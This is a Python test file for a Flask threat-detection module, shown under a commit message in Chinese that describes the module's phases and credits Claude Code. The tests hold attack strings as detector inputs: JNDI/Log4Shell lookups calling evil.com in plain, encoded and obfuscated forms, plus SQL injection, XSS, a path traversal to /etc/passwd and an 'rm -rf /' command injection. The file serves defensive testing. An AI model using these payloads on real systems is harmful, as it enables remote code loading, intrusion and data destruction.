yuyx
46253337eb
Phase 1 - 威胁检测引擎: - security/threat_detector.py: JNDI/SQL/XSS/路径遍历/命令注入检测 - security/constants.py: 威胁检测规则和评分常量 - 数据库表: threat_events, ip_risk_scores, user_risk_scores, ip_blacklist Phase 2 - 风险评分与黑名单: - security/risk_scorer.py: IP/用户风险评分引擎，支持分数衰减 - security/blacklist.py: 黑名单管理，自动封禁规则 Phase 3 - 响应策略: - security/honeypot.py: 蜜罐响应生成器 - security/response_handler.py: 渐进式响应策略 Phase 4 - 集成: - security/middleware.py: Flask安全中间件 - routes/admin_api/security.py: 管理后台安全仪表板API - 36个测试用例全部通过 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
70 lines
2.6 KiB
Python
70 lines
2.6 KiB
Python
from flask import Flask, request
|
|
|
|
from security import constants as C
|
|
from security.threat_detector import ThreatDetector
|
|
|
|
|
|
def test_jndi_direct_scores_100():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("${jndi:ldap://evil.com/a}", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
|
|
|
|
|
def test_jndi_encoded_scores_100():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fa%7D", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
|
|
|
|
|
def test_jndi_obfuscated_scores_100():
|
|
detector = ThreatDetector()
|
|
payload = "${${::-j}${::-n}${::-d}${::-i}:rmi://evil.com/a}"
|
|
results = detector.scan_input(payload, "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
|
|
|
|
|
def test_nested_expression_scores_80():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("${${env:USER}}", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_NESTED_EXPRESSION and r.score == 80 for r in results)
|
|
|
|
|
|
def test_sqli_union_select_scores_90():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("UNION SELECT password FROM users", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
|
|
|
|
|
def test_sqli_or_1_eq_1_scores_90():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("a' OR 1=1 --", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
|
|
|
|
|
def test_xss_scores_70():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("<script>alert(1)</script>", "q")
|
|
assert any(r.threat_type == C.THREAT_TYPE_XSS and r.score == 70 for r in results)
|
|
|
|
|
|
def test_path_traversal_scores_60():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("../../etc/passwd", "path")
|
|
assert any(r.threat_type == C.THREAT_TYPE_PATH_TRAVERSAL and r.score == 60 for r in results)
|
|
|
|
|
|
def test_command_injection_scores_85():
|
|
detector = ThreatDetector()
|
|
results = detector.scan_input("test; rm -rf /", "cmd")
|
|
assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
|
|
|
|
|
|
def test_scan_request_picks_up_args():
|
|
app = Flask(__name__)
|
|
detector = ThreatDetector()
|
|
|
|
with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
|
|
results = detector.scan_request(request)
|
|
assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
|
|